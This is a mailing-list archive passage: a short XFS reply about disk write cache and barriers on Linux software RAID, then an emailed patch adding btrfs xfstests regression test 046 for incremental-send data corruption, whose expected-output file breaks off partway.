=C3=A9criviez: > i also dont get it with the write-disk cache at all, > its an linux softraid, is the best then to use 'nobarrier' and let the > 'disk write cache on'? >=20 > or is best solution on linux softraid 'disk write cache' on with xfs=20 > barrier on? It depends. write cache without an UPS is a very efficient way to lose data. However if you only care about performance, let write cache on and barriers off. > also, should i tweak with sunit,swidth? and how do i calculate best=20 > setting? With a recent kernel, mkfs.xfs should determine automatically the md geometry, so no, don't try to tweak su and sw. --=20 ------------------------------------------------------------------------ Emmanuel Florac | Direction technique | Intellique | | +33 1 78 94 84 02 ------------------------------------------------------------------------ From fdmanana@gmail.com Sun Mar 30 16:11:26 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id EBDD629DF7 for ; Sun, 30 Mar 2014 16:11:25 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 9D9F68F804B for ; Sun, 30 Mar 2014 14:11:22 -0700 (PDT) X-ASG-Debug-ID: 1396213878-04bdf05dacb57890001-NocioJ Received: from mail-wi0-f181.google.com (mail-wi0-f181.google.com [209.85.212.181]) by cuda.sgi.com with ESMTP id g6ziQCljxSUb9g9Q (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Sun, 30 Mar 2014 14:11:19 -0700 (PDT) X-Barracuda-Envelope-From: fdmanana@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.212.181 X-Barracuda-IPDD: Level1 [gmail.com/209.85.212.181] Received: by mail-wi0-f181.google.com with SMTP id hm4so2396565wib.2 for ; Sun, 30 Mar 2014 14:11:18 -0700 (PDT) X-Barracuda-IPDD: Level1 [gmail.com/209.85.212.181] X-Barracuda-IPDD: Level1 [gmail.com/209.85.212.181] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=from:to:cc:subject:date:message-id; bh=9CN5PF7FSDjG6Tq8B8KcsPiVaaafyS6+jj+I1mste9I=; b=rXI4gsbf2xhMzsIn3ZDOZ1KYj8RzPmxKlF3DtVBO77mz9+nW67WlcN05XpHA9RGzBJ PgrRC/Jss1+QM2Ug5YB7dqL+e5aEUtGDaC9Rpt8MiYcuanTMAr4f0/FAhdms8I7sdqle wVQ05upD8trrVZvbNPjNE+UW3bNVYZXdgwxMwNXNnnmwNiOws+b9JsO3WagD3IU0Kz6V 8/5Dgs6SVmKRpDwbuDz8YNb1qm7esaZ9vgTVjxswPpUKumXgA6ad1I1Af4q8vtHyw1Jp r1GGlyzXwhBDthHLGP4fdSMO9iHS7hF0M9u653Wp4XMU/tzjCFDruMNra8hJIZGxWAxM 0gCg== X-Received: by 10.194.24.194 with SMTP id w2mr9305523wjf.25.1396213878060; Sun, 30 Mar 2014 14:11:18 -0700 (PDT) Received: from debian-vm3.lan (bl5-6-132.dsl.telepac.pt. [82.154.6.132]) by mx.google.com with ESMTPSA id kp5sm9484063wjb.30.2014.03.30.14.11.16 for (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128); Sun, 30 Mar 2014 14:11:17 -0700 (PDT) From: Filipe David Borba Manana To: xfs@oss.sgi.com Cc: linux-btrfs@vger.kernel.org, jbacik@fb.com, clm@fb.com, Filipe David Borba Manana Subject: [PATCH] xfstests: regression test for btrfs incremental send data corruption Date: Sun, 30 Mar 2014 23:10:27 +0100 X-ASG-Orig-Subj: [PATCH] xfstests: regression test for btrfs incremental send data corruption Message-Id: <1396217427-19533-1-git-send-email-fdmanana@gmail.com> X-Mailer: git-send-email 1.7.10.4 X-Barracuda-Connect: mail-wi0-f181.google.com[209.85.212.181] X-Barracuda-Start-Time: 1396213879 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.4433 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature Regression test for the btrfs incremental send feature, where the kernel would incorrectly consider a range of a file as a hole and send a stream of 0 bytes to the destination (send stream) that would overwrite the corresponding file region. This issue is fixed by the following linux kernel btrfs patch: Btrfs: send, fix data corruption due to incorrect hole detection (https://patchwork.kernel.org/patch/3910081/) Signed-off-by: Filipe David Borba Manana --- tests/btrfs/046 | 304 +++++++++++++++++++++++++++++++++++++++++++++++++++ tests/btrfs/046.out | 213 ++++++++++++++++++++++++++++++++++++ tests/btrfs/group | 1 + 3 files changed, 518 insertions(+) create mode 100644 tests/btrfs/046 create mode 100644 tests/btrfs/046.out diff --git a/tests/btrfs/046 b/tests/btrfs/046 new file mode 100644 index 0000000..685e359 --- /dev/null +++ b/tests/btrfs/046 @@ -0,0 +1,304 @@ +#! /bin/bash +# FS QA Test No. btrfs/046 +# +# Regression test for the btrfs incremental send feature, where the kernel +# would incorrectly consider a range of a file as a hole and send a stream +# of 0 bytes to the destination (send stream) that would overwrite the +# corresponding file region. +# +# This issue is fixed by the following linux kernel btrfs patch: +# +# Btrfs: send, fix data corruption due to incorrect hole detection +# +#----------------------------------------------------------------------- +# Copyright (c) 2014 Filipe Manana. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +#----------------------------------------------------------------------- +# + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +tmp=`mktemp -d` +status=1 # failure is the default! +trap "_cleanup; exit \$status" 0 1 2 3 15 + +send_files_dir=$TEST_DIR/btrfs-test-$seq + +_cleanup() +{ + rm -fr $send_files_dir + rm -fr $tmp +} + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter + +# real QA test starts here +_supported_fs btrfs +_supported_os Linux +_require_scratch +_require_fssum +_need_to_be_root + +rm -f $seqres.full +rm -fr $send_files_dir +mkdir $send_files_dir + +_scratch_mkfs >/dev/null 2>&1 +_scratch_mount + +$XFS_IO_PROG -f -c "falloc -k 0 268435456" $SCRATCH_MNT/foo + +_run_btrfs_util_prog subvolume snapshot -r $SCRATCH_MNT $SCRATCH_MNT/mysnap0 + +$XFS_IO_PROG -c "pwrite -S 0x01 -b 9216 16190218 9216" $SCRATCH_MNT/foo \ + | _filter_xfs_io +$XFS_IO_PROG -c "pwrite -S 0x02 -b 1121 198720104 1121" $SCRATCH_MNT/foo \ + | _filter_xfs_io +$XFS_IO_PROG -c "pwrite -S 0x05 -b 9216 107887439 9216" $SCRATCH_MNT/foo \ + | _filter_xfs_io +$XFS_IO_PROG -c "pwrite -S 0x06 -b 9216 225520207 9216" $SCRATCH_MNT/foo \ + | _filter_xfs_io +$XFS_IO_PROG -c "pwrite -S 0x07 -b 67584 102138300 67584" $SCRATCH_MNT/foo \ + | _filter_xfs_io +$XFS_IO_PROG -c "pwrite -S 0x08 -b 7000 94897484 7000" $SCRATCH_MNT/foo \ + | _filter_xfs_io +$XFS_IO_PROG -c "pwrite -S 0x09 -b 113664 245083212 113664" $SCRATCH_MNT/foo \ + | _filter_xfs_io +$XFS_IO_PROG -c "pwrite -S 0x10 -b 123 17937788 123" $SCRATCH_MNT/foo \ + | _filter_xfs_io +$XFS_IO_PROG -c "pwrite -S 0x11 -b 39936 229573311 39936" $SCRATCH_MNT/foo \ + | _filter_xfs_io +$XFS_IO_PROG -c "pwrite -S 0x12 -b 67584 174792222 67584" $SCRATCH_MNT/foo \ + | _filter_xfs_io +$XFS_IO_PROG -c "pwrite -S 0x13 -b 9216 249253213 9216" $SCRATCH_MNT/foo \ + | _filter_xfs_io +$XFS_IO_PROG -c "pwrite -S 0x16 -b 67584 150046083 67584" $SCRATCH_MNT/foo \ + | _filter_xfs_io +$XFS_IO_PROG -c "pwrite -S 0x17 -b 39936 118246040 39936" $SCRATCH_MNT/foo \ + | _filter_xfs_io +$XFS_IO_PROG -c "pwrite -S 0x18 -b 67584 215965442 67584" $SCRATCH_MNT/foo \ + | _filter_xfs_io +$XFS_IO_PROG -c "pwrite -S 0x19 -b 33792 97096725 33792" $SCRATCH_MNT/foo \ + | _filter_xfs_io +$XFS_IO_PROG -c "pwrite -S 0x20 -b 125952 166300596 125952" $SCRATCH_MNT/foo \ + | _filter_xfs_io +$XFS_IO_PROG -c "pwrite -S 0x21 -b 123 1078957 123" $SCRATCH_MNT/foo \ + | _filter_xfs_io +$XFS_IO_PROG -c "pwrite -S 0x25 -b 9216 212044492 9216" $SCRATCH_MNT/foo \ + | _filter_xfs_io +$XFS_IO_PROG -c "pwrite -S 0x26 -b 7000 265037146 7000" $SCRATCH_MNT/foo \ + | _filter_xfs_io +$XFS_IO_PROG -c "pwrite -S 0x27 -b 42757 215922685 42757" $SCRATCH_MNT/foo \ + | _filter_xfs_io +$XFS_IO_PROG -c "pwrite -S 0x28 -b 7000 69865411 7000" $SCRATCH_MNT/foo \ + | _filter_xfs_io +$XFS_IO_PROG -c "pwrite -S 0x29 -b 67584 67948958 67584" $SCRATCH_MNT/foo \ + | _filter_xfs_io +$XFS_IO_PROG -c "pwrite -S 0x30 -b 39936 266967019 39936" $SCRATCH_MNT/foo \ + | _filter_xfs_io +$XFS_IO_PROG -c "pwrite -S 0x31 -b 1121 19582453 1121" $SCRATCH_MNT/foo \ + | _filter_xfs_io +$XFS_IO_PROG -c "pwrite -S 0x32 -b 17408 257710255 17408" $SCRATCH_MNT/foo \ + | _filter_xfs_io +$XFS_IO_PROG -c "pwrite -S 0x33 -b 39936 3895518 39936" $SCRATCH_MNT/foo \ + | _filter_xfs_io +$XFS_IO_PROG -c "pwrite -S 0x34 -b 125952 12045847 125952" $SCRATCH_MNT/foo \ + | _filter_xfs_io +$XFS_IO_PROG -c "pwrite -S 0x35 -b 17408 19156379 17408" $SCRATCH_MNT/foo \ + | _filter_xfs_io +$XFS_IO_PROG -c "pwrite -S 0x36 -b 39936 50160066 39936" $SCRATCH_MNT/foo \ + | _filter_xfs_io +$XFS_IO_PROG -c "pwrite -S 0x37 -b 113664 9549793 113664" $SCRATCH_MNT/foo \ + | _filter_xfs_io +$XFS_IO_PROG -c "pwrite -S 0x38 -b 105472 94391506 105472" $SCRATCH_MNT/foo \ + | _filter_xfs_io +$XFS_IO_PROG -c "pwrite -S 0x39 -b 23552 143632863 23552" $SCRATCH_MNT/foo \ + | _filter_xfs_io +$XFS_IO_PROG -c "pwrite -S 0x40 -b 39936 241283845 39936" $SCRATCH_MNT/foo \ + | _filter_xfs_io +$XFS_IO_PROG -c "pwrite -S 0x41 -b 113664 199937606 113664" $SCRATCH_MNT/foo \ + | _filter_xfs_io +$XFS_IO_PROG -c "pwrite -S 0x42 -b 67584 67380093 67584" $SCRATCH_MNT/foo \ + | _filter_xfs_io +$XFS_IO_PROG -c "pwrite -S 0x43 -b 67584 26793129 67584" $SCRATCH_MNT/foo \ + | _filter_xfs_io +$XFS_IO_PROG -c "pwrite -S 0x44 -b 39936 14421913 39936" $SCRATCH_MNT/foo \ + | _filter_xfs_io +$XFS_IO_PROG -c "pwrite -S 0x45 -b 123 253097405 123" $SCRATCH_MNT/foo \ + | _filter_xfs_io +$XFS_IO_PROG -c "pwrite -S 0x46 -b 1121 128233424 1121" $SCRATCH_MNT/foo \ + | _filter_xfs_io +$XFS_IO_PROG -c "pwrite -S 0x47 -b 105472 91577959 105472" $SCRATCH_MNT/foo \ + | _filter_xfs_io +$XFS_IO_PROG -c "pwrite -S 0x48 -b 1121 7245381 1121" $SCRATCH_MNT/foo \ + | _filter_xfs_io +$XFS_IO_PROG -c "pwrite -S 0x49 -b 113664 182414694 113664" $SCRATCH_MNT/foo \ + | _filter_xfs_io +$XFS_IO_PROG -c "pwrite -S 0x50 -b 9216 32750608 9216" $SCRATCH_MNT/foo \ + | _filter_xfs_io +$XFS_IO_PROG -c "pwrite -S 0x51 -b 67584 266546049 67584" $SCRATCH_MNT/foo \ + | _filter_xfs_io +$XFS_IO_PROG -c "pwrite -S 0x52 -b 67584 87969398 67584" $SCRATCH_MNT/foo \ + | _filter_xfs_io +$XFS_IO_PROG -c "pwrite -S 0x53 -b 9216 260848797 9216" $SCRATCH_MNT/foo \ + | _filter_xfs_io +$XFS_IO_PROG -c "pwrite -S 0x54 -b 39936 119461243 39936" $SCRATCH_MNT/foo \ + | _filter_xfs_io +$XFS_IO_PROG -c "pwrite -S 0x55 -b 7000 200178693 7000" $SCRATCH_MNT/foo \ + | _filter_xfs_io +$XFS_IO_PROG -c "pwrite -S 0x56 -b 9216 243316029 9216" $SCRATCH_MNT/foo \ + | _filter_xfs_io +$XFS_IO_PROG -c "pwrite -S 0x57 -b 7000 209658229 7000" $SCRATCH_MNT/foo \ + | _filter_xfs_io +$XFS_IO_PROG -c "pwrite -S 0x58 -b 101376 179745192 101376" $SCRATCH_MNT/foo \ + | _filter_xfs_io +$XFS_IO_PROG -c "pwrite -S 0x59 -b 9216 64012300 9216" $SCRATCH_MNT/foo \ + | _filter_xfs_io +$XFS_IO_PROG -c "pwrite -S 0x60 -b 125952 181705139 125952" $SCRATCH_MNT/foo \ + | _filter_xfs_io +$XFS_IO_PROG -c "pwrite -S 0x61 -b 23552 235737348 23552" $SCRATCH_MNT/foo \ + | _filter_xfs_io +$XFS_IO_PROG -c "pwrite -S 0x62 -b 113664 106021355 113664" $SCRATCH_MNT/foo \ + | _filter_xfs_io +$XFS_IO_PROG -c "pwrite -S 0x63 -b 67584 135753552 67584" $SCRATCH_MNT/foo \ + | _filter_xfs_io +$XFS_IO_PROG -c "pwrite -S 0x64 -b 23552 95730888 23552" $SCRATCH_MNT/foo \ + | _filter_xfs_io +$XFS_IO_PROG -c "pwrite -S 0x65 -b 11 17311415 11" $SCRATCH_MNT/foo \ + | _filter_xfs_io +$XFS_IO_PROG -c "pwrite -S 0x66 -b 33792 120695553 33792" $SCRATCH_MNT/foo \ + | _filter_xfs_io +$XFS_IO_PROG -c "pwrite -S 0x67 -b 9216 17164631 9216" $SCRATCH_MNT/foo \ + | _filter_xfs_io +$XFS_IO_PROG -c "pwrite -S 0x68 -b 9216 136065853 9216" $SCRATCH_MNT/foo \ + | _filter_xfs_io +$XFS_IO_PROG -c "pwrite -S 0x69 -b 67584 37752198 67584" $SCRATCH_MNT/foo \ + | _filter_xfs_io +$XFS_IO_PROG -c "pwrite -S 0x70 -b 101376 189717473 101376" $SCRATCH_MNT/foo \ + | _filter_xfs_io +$XFS_IO_PROG -c "pwrite -S 0x71 -b 7000 227463698 7000" $SCRATCH_MNT/foo \ + | _filter_xfs_io +$XFS_IO_PROG -c "pwrite -S 0x72 -b 9216 12655137 9216" $SCRATCH_MNT/foo \ + | _filter_xfs_io +$XFS_IO_PROG -c "pwrite -S 0x73 -b 7000 7488866 7000" $SCRATCH_MNT/foo \ + | _filter_xfs_io +$XFS_IO_PROG -c "pwrite -S 0x74 -b 113664 87813649 113664" $SCRATCH_MNT/foo \ + | _filter_xfs_io +$XFS_IO_PROG -c "pwrite -S 0x75 -b 33792 25802183 33792" $SCRATCH_MNT/foo \ + | _filter_xfs_io +$XFS_IO_PROG -c "pwrite -S 0x76 -b 39936 93524024 39936" $SCRATCH_MNT/foo \ + | _filter_xfs_io +$XFS_IO_PROG -c "pwrite -S 0x77 -b 33792 113336388 33792" $SCRATCH_MNT/foo \ + | _filter_xfs_io +$XFS_IO_PROG -c "pwrite -S 0x78 -b 105472 184955320 105472" $SCRATCH_MNT/foo \ + | _filter_xfs_io +$XFS_IO_PROG -c "pwrite -S 0x79 -b 101376 225691598 101376" $SCRATCH_MNT/foo \ + | _filter_xfs_io +$XFS_IO_PROG -c "pwrite -S 0x80 -b 23552 77023155 23552" $SCRATCH_MNT/foo \ + | _filter_xfs_io +$XFS_IO_PROG -c "pwrite -S 0x81 -b 11 201888192 11" $SCRATCH_MNT/foo \ + | _filter_xfs_io +$XFS_IO_PROG -c "pwrite -S 0x82 -b 11 115332492 11" $SCRATCH_MNT/foo \ + | _filter_xfs_io +$XFS_IO_PROG -c "pwrite -S 0x83 -b 67584 230278015 67584" $SCRATCH_MNT/foo \ + | _filter_xfs_io +$XFS_IO_PROG -c "pwrite -S 0x84 -b 11 120589073 11" $SCRATCH_MNT/foo \ + | _filter_xfs_io +$XFS_IO_PROG -c "pwrite -S 0x85 -b 125952 202207819 125952" $SCRATCH_MNT/foo \ + | _filter_xfs_io +$XFS_IO_PROG -c "pwrite -S 0x86 -b 113664 86672080 113664" $SCRATCH_MNT/foo \ + | _filter_xfs_io +$XFS_IO_PROG -c "pwrite -S 0x87 -b 17408 208459603 17408" $SCRATCH_MNT/foo \ + | _filter_xfs_io +$XFS_IO_PROG -c "pwrite -S 0x88 -b 7000 73372211 7000" $SCRATCH_MNT/foo \ + | _filter_xfs_io +$XFS_IO_PROG -c "pwrite -S 0x89 -b 7000 42252122 7000" $SCRATCH_MNT/foo \ + | _filter_xfs_io +$XFS_IO_PROG -c "pwrite -S 0x90 -b 23552 46784881 23552" $SCRATCH_MNT/foo \ + | _filter_xfs_io +$XFS_IO_PROG -c "pwrite -S 0x91 -b 101376 63172351 101376" $SCRATCH_MNT/foo \ + | _filter_xfs_io +$XFS_IO_PROG -c "pwrite -S 0x92 -b 23552 59341931 23552" $SCRATCH_MNT/foo \ + | _filter_xfs_io +$XFS_IO_PROG -c "pwrite -S 0x93 -b 39936 239599283 39936" $SCRATCH_MNT/foo \ + | _filter_xfs_io +$XFS_IO_PROG -c "pwrite -S 0x94 -b 67584 175643105 67584" $SCRATCH_MNT/foo \ + | _filter_xfs_io +$XFS_IO_PROG -c "pwrite -S 0x97 -b 23552 105534880 23552" $SCRATCH_MNT/foo \ + | _filter_xfs_io +$XFS_IO_PROG -c "pwrite -S 0x98 -b 113664 8236844 113664" $SCRATCH_MNT/foo \ + | _filter_xfs_io +$XFS_IO_PROG -c "pwrite -S 0x99 -b 125952 144489686 125952" $SCRATCH_MNT/foo \ + | _filter_xfs_io +$XFS_IO_PROG -c "pwrite -S 0xa0 -b 7000 73273112 7000" $SCRATCH_MNT/foo \ + | _filter_xfs_io +$XFS_IO_PROG -c "pwrite -S 0xa1 -b 125952 194580243 125952" $SCRATCH_MNT/foo \ + | _filter_xfs_io +$XFS_IO_PROG -c "pwrite -S 0xa2 -b 123 56296779 123" $SCRATCH_MNT/foo \ + | _filter_xfs_io +$XFS_IO_PROG -c "pwrite -S 0xa3 -b 11 233066845 11" $SCRATCH_MNT/foo \ + | _filter_xfs_io +$XFS_IO_PROG -c "pwrite -S 0xa4 -b 39936 197727090 39936" $SCRATCH_MNT/foo \ + | _filter_xfs_io +$XFS_IO_PROG -c "pwrite -S 0xa5 -b 101376 53579812 101376" $SCRATCH_MNT/foo \ + | _filter_xfs_io +$XFS_IO_PROG -c "pwrite -S 0xa6 -b 9216 85669738 9216" $SCRATCH_MNT/foo \ + | _filter_xfs_io +$XFS_IO_PROG -c "pwrite -S 0xa7 -b 125952 21266322 125952" $SCRATCH_MNT/foo \ + | _filter_xfs_io +$XFS_IO_PROG -c "pwrite -S 0xa8 -b 23552 125726568 23552" $SCRATCH_MNT/foo \ + | _filter_xfs_io +$XFS_IO_PROG -c "pwrite -S 0xa9 -b 9216 18423680 9216" $SCRATCH_MNT/foo \ + | _filter_xfs_io +$XFS_IO_PROG -c "pwrite -S 0xb0 -b 1121 165901483 1121" $SCRATCH_MNT/foo \ + | _filter_xfs_io + +_run_btrfs_util_prog subvolume snapshot -r $SCRATCH_MNT $SCRATCH_MNT/mysnap1 + +$XFS_IO_PROG -c "pwrite -S 0xff -b 10 16190218 10" $SCRATCH_MNT/foo \ + | _filter_xfs_io + +_run_btrfs_util_prog subvolume snapshot -r $SCRATCH_MNT $SCRATCH_MNT/mysnap2 + +echo "File digests in the original filesystem:" +md5sum $SCRATCH_MNT/foo | _filter_scratch +md5sum $SCRATCH_MNT/mysnap0/foo | _filter_scratch +md5sum $SCRATCH_MNT/mysnap1/foo | _filter_scratch +md5sum $SCRATCH_MNT/mysnap2/foo | _filter_scratch + +_run_btrfs_util_prog send $SCRATCH_MNT/mysnap1 -f $send_files_dir/1.snap +_run_btrfs_util_prog send -p $SCRATCH_MNT/mysnap1 $SCRATCH_MNT/mysnap2 \ + -f $send_files_dir/2.snap + +_check_scratch_fs +_scratch_unmount +_scratch_mkfs >/dev/null 2>&1 +_scratch_mount + +_run_btrfs_util_prog receive $SCRATCH_MNT -f $send_files_dir/1.snap +_run_btrfs_util_prog receive $SCRATCH_MNT -f $send_files_dir/2.snap + +echo "File digests in the replica filesystem:" +md5sum $SCRATCH_MNT/mysnap1/foo | _filter_scratch +md5sum $SCRATCH_MNT/mysnap2/foo | _filter_scratch + +_check_scratch_fs + +status=0 +exit diff --git a/tests/btrfs/046.out b/tests/btrfs/046.out new file mode 100644 index 0000000..1467c86 --- /dev/null +++ b/tests/btrfs/046.out @@ -0,0 +1,213 @@ +QA output created by 046 +wrote 9216/9216 bytes at offset 16190218 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 1121/1121 bytes at offset 198720104 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 9216/9216 bytes at offset 107887439 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 9216/9216 bytes at offset 225520207 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 67584/67584 bytes at offset 102138300 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 7000/7000 bytes at offset 94897484 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 113664/113664 bytes at offset 245083212 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 123/123 bytes at offset 17937788 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 39936/39936 bytes at offset 229573311 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 67584/67584 bytes at offset 174792222 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 9216/9216 bytes at offset 249253213 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 67584/67584 bytes at offset 150046083 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 39936/39936 bytes at offset 118246040 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 67584/67584 bytes at offset 215965442 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 33792/33792 bytes at offset 97096725 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 125952/125952 bytes at offset 166300596 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 123/123 bytes at offset 1078957 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 9216/9216 bytes at offset 212044492 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 7000/7000 bytes at offset 265037146 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 42757/42757 bytes at offset 215922685 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 7000/7000 bytes at offset 69865411 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 67584/67584 bytes at offset 67948958 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 39936/39936 bytes at offset 266967019 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 1121/1121 bytes at offset 19582453 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 17408/17408 bytes at offset 257710255 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 39936/39936 bytes at offset 3895518 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 125952/125952 bytes at offset 12045847 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 17408/17408 bytes at offset 19156379 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 39936/39936 bytes at offset 50160066 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 113664/113664 bytes at offset 9549793 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 105472/105472 bytes at offset 94391506 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 23552/23552 bytes at offset 143632863 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 39936/39936 bytes at offset 241283845 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 113664/113664 bytes at offset 199937606 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 67584/67584 bytes at offset 67380093 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 67584/67584 bytes at offset 26793129 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 39936/39936 bytes at offset 14421913 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 123/123 bytes at offset 253097405 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 1121/1121 bytes at offset 128233424 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 105472/105472 bytes at offset 91577959 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 1121/1121 bytes at offset 7245381 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 113664/113664 bytes at offset 182414694 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 9216/9216 bytes at offset 32750608 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 67584/67584 bytes at offset 266546049 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 67584/67584 bytes at offset 87969398 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 9216/9216 bytes at offset 260848797 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 39936/39936 bytes at offset 119461243 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 7000/7000 bytes at offset 200178693 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 9216/9216 bytes at offset 243316029 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 7000/7000 bytes at offset 209658229 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 101376/101376 bytes at offset 179745192 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 9216/9216 bytes at offset 64012300 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 125952/125952 bytes at offset 181705139 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 23552/23552 bytes at offset 235737348 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 113664/113664 bytes at offset 106021355 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 67584/67584 bytes at offset 135753552 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 23552/23552 bytes at offset 95730888 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 11/11 bytes at offset 17311415 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 33792/33792 bytes at offset 120695553 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 9216/9216 bytes at offset 17164631 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 9216/9216 bytes at offset 136065853 +XXX Bytes, 